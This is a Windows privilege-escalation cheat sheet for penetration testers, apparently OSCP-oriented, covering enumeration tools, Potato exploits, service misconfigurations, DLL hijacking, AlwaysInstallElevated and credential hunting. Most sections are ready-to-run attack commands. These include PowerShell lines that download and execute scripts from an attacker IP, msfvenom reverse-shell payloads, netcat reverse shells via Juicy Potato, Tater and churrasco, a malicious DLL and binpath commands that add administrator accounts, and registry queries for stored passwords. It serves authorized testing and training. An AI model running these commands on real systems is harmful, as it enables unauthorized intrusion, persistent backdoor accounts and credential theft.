# Windows

## Introduction

This section contains a set of techniques that can be used to perform privilege escalation on Windows systems.

## Tools

This subsection contains valuable tools to identify potential privilege escalation vectors.

**Note**: Some tools require compilation, but you can download them already compiled in this [link](https://github.com/NyaMeeEain/Privilege-Escalation-Windows).

* **Local Exploit Suggester**: Metasploit module (`post/multi/recon/local_exploit_suggester`) for meterpreter enumerates the system looking for potential privilege escalation vectors.
* [JAWS](https://github.com/411Hall/JAWS): Identifies potential privilege escalation vectors. It is written in PowerShell2.0 so it can be used on Windows 7 and above.
* [WinPAES](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS): General Windows enumeration and privilege escalation vectors.
* [SeatBelt](https://github.com/GhostPack/Seatbe): Performs a number of "security checks": AMSIProviders, Antivirus, Sysmon, WindowsDefender, WindowsEventForwarding, McAfeeConfigs, InterstingProcesses (Needs compilation). Compiled [here](https://github.com/NyaMeeEain/Privilege-Escalation-Windows/blob/master/Seatbelt.exe).

```powershell
Seatbelt.exe -group=system
# runs the following commands:
#        AMSIProviders, AntiVirus, AppLocker, ARPTable, AuditPolicies,
#        AuditPolicyRegistry, AutoRuns, Certificates, CertificateThumbprints,
#        CredGuard, DNSCache, DotNet, EnvironmentPath,
#        EnvironmentVariables, Hotfixes, InterestingProcesses, InternetSettings,
#        LAPS, LastShutdown, LocalGPOs, LocalGroups,
#        LocalUsers, LogonSessions, LSASettings, McAfeeConfigs,
#        NamedPipes, NetworkProfiles, NetworkShares, NTLMSettings,
#        OptionalFeatures, OSInfo, PoweredOnEvents, PowerShell,
#        Processes, PSSessionSettings, RDPSessions, RDPsettings,
#        SCCM, Services, Sysmon, TcpConnections,
#        TokenPrivileges, UAC, UdpConnections, UserRightAssignments,
#        WifiProfile, WindowsAutoLogon, WindowsDefender, WindowsEventForwarding,
#        WindowsFirewall, WMI, WMIEventConsumer, WMIEventFilter,
#        WMIFilterBinding, WSUS
```

* [SharUp](https://github.com/GhostPack/SharpUp): Tool that performs security checks. (Needs compilation). Compiled [here](https://github.com/NyaMeeEain/Privilege-Escalation-Windows/blob/master/SharpUp.exe).
* [ProcMon](https://download.sysinternals.com/files/ProcessMonitor.zip): Tool used to check for missing DLLs in a process/service.
* [AutoRuns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns): GUI tool that displays the machine's autoruns.
* [PowerUp](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc): Tool for privilege escalation based on failures in the Windows configuration. (It gets hanging quite often)

```bash
echo IEX(New-Object Net.WebClient).DownloadString('http://<ATACKER_IP>/PowerUp.ps1') | powershell -noprofile -
powershell.exe -nop -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://<ATACKER_IP>/PowerUp.ps1');Invoke-AllChecks"
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
```

## SeImpersonatePrivilege

In this subsection, you will find how to exploit the Windows privilege **SeImpersonatePrivilege** in order to become an Administrator. Nonetheless, there are more Windows privileges that you can use to become an Administrator, as you can see in the following [list](https://github.com/gtworek/Priv2Admin).

Depending on the Windows version, you will need to use different exploits. In order to obtain the Windows version execute the following command.

```bash
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```

* If the machine is either **Windows 7, 8, 10 or Windows Server 2008 and 2012**, try **Hot Potato**.
* If the machine is either **< Windows 10 1809** or **< Windows Server 2019**, try **Juicy Potato**.
* If the machine is either **>= Windows 10 1809** or **>= Windows Server 2019**, try **Rogue Potato**.
* For more updated versions, try **PrintSpoofer**.

### Hot Potato

1. Download the [exploit](https://github.com/foxglovesec/Potato/raw/master/source/Potato/Potato/bin/Release/Potato.exe).
2. Generate a reverse shell.

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<ATTACKER_PORT> -f exe > shell.exe
```

3\. Set a listening port.

```bash
nc -nlvp <LISTENING_PORT>
```

4\. Execute the exploit.

```bash
Potato.exe -ip <Victims_IP> -cmd "C:\Windows\Temp\shell.exe" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true
```

### Hot Potato (PowerShell)

There is a version of Hot Potato for PowerShell called [Tater](https://github.com/Kevin-Robertson/Tater).

```powershell
powershell.exe -ep bypass "IEX(New-Object Net.WebClient).downloadString('http://<ATTACKER_IP>/Tater.ps1'); Invoke-Tater -Trigger 1 -Command 'C:\Users\user\Desktop\nc.exe <ATTACKER_IP> <LISTENING_PORT> -e cmd.exe'"
```

### Juicy Potato

1. Download the [exploit](https://github.com/ohpe/juicy-potato/releases/tag/v0.1)
2. Execute the exploit.

This is the default command, although **it does not usually work**.

```bash
JuicyPotato.exe -l 1337 -p c:\\windows\\system32\\cmd.exe -a "/c c:\\windows\\temp\\nc.exe -e cmd.exe <ATTACKER_IP> <LISTENING_PORT>" -t *
```

Depending on the OS version, it is necessary to use CLSIDs. These can be found in this [repository](https://github.com/ohpe/juicy-potato/tree/master/CLSID).

```bash
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c C:\Windows\System32\spool\drivers\color\nc.exe -e cmd.exe <LISTENING_IP> <LISTENING_PORT>" -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}
```

### Rogue Potato

This exploit is more complicated and requires more steps. Thus, here you have different PoCs that you can try to escalate privileges.

* [PoC1](https://github.com/antonioCoco/RoguePotato)
* [PoC2](https://github.com/antonioCoco/RemotePotato0)

### PrintSpoofer

1. Download the [exploit](https://github.com/itm4n/PrintSpoofer).
2. Execute it

```bash
PrintSpoofer.exe -i -c "cmd.exe"
```

## Windows Services

Windows systems can contain installed services that are being executed by privileged accounts. However, they can have misconfigurations that allow an attacker to escalate privileges.

Furthermore, look for service permissions like `SERVICE_CHANGE_CONFIG`, `SERVICE_ALL_ACCESS`, `SERVICE_STOP`, `SERVICE_START` because they will help you modify the service configuration files, and if you have the last two permissions, you could restart a service executing the file you have overwritten.

Finally, in this subsection, you will find techniques to exploit services misconfigurations to escalate privileges.

### General commands

These commands are used to retrieve or modify information about services.

```bash
# Shows the owner of each service
tasklist /v
# Query the configuration of a service
sc.exe qc <ServiceName> 
# Current status of a service
sc.exe query <ServiceName> 
# Modify the configuration of a service
sc.exe config <ServiceName> <option>=<Value>
# Start/Stop a service
net start/stop <ServiceName> 
```

### Weak Windows Service Permissions

This technique consists of modifying the attribute `binpath` of services, with the purpose of executing a different executable or command at the service startup.

There are several tools that can help you to identify Weak Service Permissiones:

* [**AccessChk**](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk)
  * `u`: Suppress warning and errors.
  * `w`: Shows objects with write access
  * `c`: Display service name
  * `v`: Verbose

```bash
accesschk.exe -uwcqv "Authenticated Users" * /accepteula

# In addition, the tool accesschk allows viewing the effective permissions on files, registry keys, logs, kernel objects...
accesschk64.exe -wvu <FolderPath>
# FOLDER PERMISSIONS
accesschk.exe /accepteula -uwdqs "Authenticated Users" C:\
accesschk.exe /accepteula -uwdqs "Everyone" C:\
# FILE PERMISSIONS
accesschk.exe /accepteula -uwqs  "Authenticated Users" C:\*.*
accesschk.exe /accepteula -uwdqs "Everyone" C:\*.*
```

![ModificableService accesschk](https://3683125600-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAiuSjJMFQ72nHxKtvtIh%2Fuploads%2Fgit-blob-5535216279aa7e154dbb0503df82458d22266a63%2FModificableService_accesschk.png?alt=media)

* **PowerUp**

```powershell
Get-ModifiableService -Verbose
```

* **Get-ServiceAcl**

```powershell
Import-Module .\Get-ServiceAcl.ps1
Get-ServiceAcl -Name VulnService2 | select -expand Access
```

* **SharpUp**

```powershell
.\SharpUp.exe audit ModifiableServices
```

After enumerating the services whose attribute `BINARY_PATH_NAME` is modifiable, edit the `binpath` by the file or command you want to be executed.

```bash
# Alternative 1 (FILE_PATH)
sc config <SERVICE_NAME> binpath="<FILE_PATH>"
# Alternative 1 (Execute command)
sc config <SERVICE_NAME> binpath="cmd.exe /c net user <USER> <PASSWORD> /add && net localgroup Administrators <USER> /add"
```

&#x20;Then, restart the service.

```bash
net stop <SERVICE_NAME> && net start <SERVICE_NAME>
```

![ModificableService BinPath](https://3683125600-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAiuSjJMFQ72nHxKtvtIh%2Fuploads%2Fgit-blob-58e767ae39781ff9b5f25fbc1561de73f8c3c11c%2FModificableService_BinPath.png?alt=media)

### Weak Service Binary Permissions

This vulnerability is similar to the previous one, but instead of weak permissions on the service, it is on the service binary itself so that **it can be overwritten**.

* **SharpUp**

```
.\SharpUp.exe audit ModifiableServiceBinaries
```

* **PowerUp**

```powershell
# Gets services where the current user can write to the service binary path or its config
Get-ModifiableServiceFile -Verbose
```

### Unquoted Service Path

Suppose the binary service path is not enclosed on quotes and contains white spaces. An attacker could place an executable in an upper directory within the binary path, being executed before the actual executable.

For example, the binary path `C:\Program Files\Proof of Concept\Vuln Service\executable.exe` would be executed in the following order.

```bash
C:\Program.exe
C:\Program Files\Proof.exe
C:\Program Files\Proof of Concept\Vuln.exe
C:\Program Files\Proof of Concept\Vuln Service\executable.exe
```

So, if an attacker can create files in one of the upper directories, it will gain code execution.

To obtain the vulnerable services to Unquoted Service Path there are **two options**.

*For the following examples we will use the example service called "unquotedsvc".*

* **WMIC**

```bash
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
```

* **PowerUp**

```powe
Get-UnquotedService -Verbose
```

![PowerUp Unquoted Path](https://3683125600-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAiuSjJMFQ72nHxKtvtIh%2Fuploads%2Fgit-blob-d3d2c0859cf212d191773c2325623bef265a74ee%2FUnquotedService_PowerUp.png?alt=media)

Then, with the command `Get-Acl '<DIR>' | fl` you can see which users have access to the folder.

* **ShapUp**

```powershell
.\SharpUp.exe audit UnquotedServicePath
```

![UnquotedService DirPermissions](https://3683125600-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAiuSjJMFQ72nHxKtvtIh%2Fuploads%2Fgit-blob-e1330ac1cb3b94053e4a511837c6cf21e5fb2c5f%2FUnquotedService_DirPermissions.png?alt=media)

All the system users have full control so that the file `common.exe` can be added to the folder `Common Files` .

Finally, the malicious file will be executed once the service "unquotedsvc" is restarted.

```bash
sc stop unquotedsvc
sc start unquotedsvc
```

### DLL Hijacking

DLLs are libraries containing code and data with the property of being used concurrently by several programs. If an attacker can overwrite some of the DLLs of a service, it could obtain code execution.

Using **PowerUp** you can obtain libraries on which you have write permissions. In this case is `C:\Temp\wlbsctrl.dll`.

![DLLHijacking PowerUP](https://3683125600-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAiuSjJMFQ72nHxKtvtIh%2Fuploads%2Fgit-blob-a736ee1efa9accd756f3b0a8beaa4916d0f60609%2FDLLHijacking_PowerUP.png?alt=media)

To replace the **DLL** you need to create another DLL, which can be found at the following [link](https://github.com/sagishahar/scripts/blob/master/windows_dll.c), replacing the command you want to execute.

```
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k net localgroup administrators user /add");
        ExitProcess(0);
    }
    return TRUE;
}
```

Then, you need to execute the following commands to compile the library.

```bash
sudo apt update && sudo apt install mingw-w64 -y
x86_64-w64-mingw32-gcc windows_dll.c -shared -o wlbsctrl.dll
```

Finally, overwrite the DLL and restart the service:

```bash
sc stop dllsvc & sc start dllsvc
```

## Search for credentials

A pentester can search for credentials stored in registry or windows files with the following commands.

```bash
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon" /f password /t REG_SZ /s
# Search for credentials in the HKEY_LOCAL_MACHINE hive
reg query HKLM /f password /t REG_SZ /s
# Searches for credentials in the HK_CURRENT_USER Hive
reg query HKCU /f password /t REG_SZ /s 
# Find config files that usually have stored credentials
dir c:\*vnc.ini /s /s /b
dir c:\*ultravnc.ini /s /b 
dir c:\*vnc.ini /s /b /s /b | findstr /si *vnc.ini
# Find all those strings in config files.
dir /s *pass* == *cred* == *vnc* == *.config* 
```

In addition, credentials can also be found in the following:

**Files**

```bash
c:\sysprep.inf
c:\sysprep\sysprep.xml
c:\unattend.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
```

**Registry**

```bash
# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password" 
# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 
# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" 
# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" 
```

## RunAs

Cached credentials of domain users for a specific machine may be found in the session of a compromised user.

The following command is used to list the cached credentials:

```bash
C:\> cmdkey /list
 
Currently stored credentials:

Target: Domain:interactive=ACCESS\Administrator
Type: Domain Password
User: ACCESS\Administrator
```

Finally, in order to use the stored credential we need to execute the following command:

```
C:> C:\Windows\System32\runas.exe /user:domain\Administrator /savecred "<COMMAND or PROGRAM to be executed>"
```

## Always Install Elevated

This policy allows any user to use elevated permissions for installing any program on the system. Thus, an attacker can create a malicious installer that would be executed with higher privileges gaining privilege escalation.

There are **two options for detecting** whether we can employ this privilege escalation.

* **PowerUP**

![AlwaysInstallElevated PowerUp](https://3683125600-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAiuSjJMFQ72nHxKtvtIh%2Fuploads%2Fgit-blob-0937a03e40a79b5ae958880b18e4a2f3557957e9%2FAlwaysInstallElevated_PowerUp.png?alt=media)

* Checking the **registry values**.

```powershell
PS C:\Users\TCM> reg query HKLM\Software\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
PS C:\Users\TCM> reg query HKCU\Software\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
```

To **exploit** this configuration create a `*.msi` document with **msfvenom** and install it on the remote machine.

**Note**: It is possible that if you install the file using winexec it may not work because the user does not have permission to run it remotely. To fix this, you should use a remote desktop and run the manually generated installer.

```bash
msfvenom -p windows/shell_reverse_tcp lhost=<IP> lport=4444 exitfunc=thread -f msi -o shell.msi
C:\Users\TCM> msiexec /quiet /qn /i .\shell.msi
```

## Delegation Tokens

The meterperer module `incognito` on merterpreter allows the attacker to extract available [Delegation Tokens](https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/design/when-to-use-identity-delegation).

```bash
meterpreter> load incognito
meterpreter> list_tokens -u
Delegation Tokens Available
[...]
meterpreter> impersonate_token <LISTED_TOKEN>
```

## Token Kidnapping

If an attacker has gained execution of code on a service with the ability to impersonate users or has access to the accounts "NETWORK SERVICE" or "LOCAL SERVICE", it could escalate privileges with [churrasco](https://github.com/Re4son/Churrasco/raw/master/churrasco.exe).

```bash
churrasco.exe "nc.exe 10.10.14.2 1234 -e cmd.exe"
```

## CVE-2019-1388 (hhupd)

An elevation of privilege vulnerability exists in the Windows certificate dialog box when it does not properly enforce user privileges, also known as the "Windows certificate dialog box elevation of privilege vulnerability". To exploit this vulnerability follow this [video](https://www.youtube.com/watch?v=BWN0Y0LInjg).

## Kernel Exploits

In order to exploit Kernel vulnerabilities on windows, it is necessary to know if there are any patches or hotfixes already installed on the victim's system.

```bash
wmic qfe
# Brief
wmic qfe get Caption,Description,HotFixID,InstalledOn 
Get-Hotfix
```

It is also important, to check the system architecture. Which can be obtained as follows:

```bash
# CMD
SET Processor
# PowerShell
[Environment]::Is64BitProcess
```

Vanilla PowerShell is run on 32-bit so 64-bit exploits will not work, for this you need to use 64-bit PowerShell found at:

```bash
C:\Windows\sysnative\WindowsPowershell\v1.0\powershell.exe
```

### Exploit listing

In this [listing](https://github.com/SecWiki/windows-kernel-exploits), you will find a set of compiled exploits, ready to be executed.

For the **OSCP**, you can use this [listing](https://github.com/evets007/OSCP-Prep-cheatsheet/blob/master/windows-exploits.md), that contains a subset of exploits to escalate privileges.

## Suggested tools

There are different tools capable of finding which exploits work for the version of Windows under attack.

### Windows Exploit Suggester

[Windows Exploit Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) detects possible missing patches on the target. It also notifies the user if public exploits and Metasploit modules are available for missing bulletins. (**Requires Python2.7**).

In order to use the tool, it is necessary to run `systeminfo` on the victim machine and copy it to a file on the attacking machine.

```bash
python windows-exploit-suggester.py --update
python windows-exploit-suggester.py --database <DOWNLADED_DATABASE> --systeminfo <VICTIMS_SYSTEMINFO> 
```

### Watson

[Watson](https://github.com/rasta-mouse/Watson) lists Windows HotFixes and suggests exploits for privilege escalation. However, it **requires prior compilation**.

Nonetheless, you can download the compiled version [here](https://github.com/NyaMeeEain/Privilege-Escalation-Windows/blob/master/Watson.exe).

### Sherlock

[Sherlock](https://github.com/rasta-mouse/Sherlock) quickly finds missing windows patches to escalate privileges, but it takes a while to finish.

```bash
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://<ATACKER_IP>/Sherlock.ps1');Find-AllVulns"
```

## References

* [Potatoes - Windows Privilege Escalation](https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html)
* [Always Install Elevated](https://pentestlab.blog/2017/02/28/always-install-elevated/)
* [Windows PrivEsc Arena \[TryHackeMe\]](https://tryhackme.com/room/windowsprivescarena)
* [Windows PrivEsc \[TryHackMe\]](https://tryhackme.com/room/windows10privesc)
* [Token kidnapping](https://web.archive.org/web/20130207155706/https://www.argeniss.com/research/TokenKidnapping.pdf)
* [Windows Privilege Escalation Fundamentals](https://www.fuzzysecurity.com/tutorials/16.html)
* [Windows - Privilege Escalation \[PayloadAllTheThings\]](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
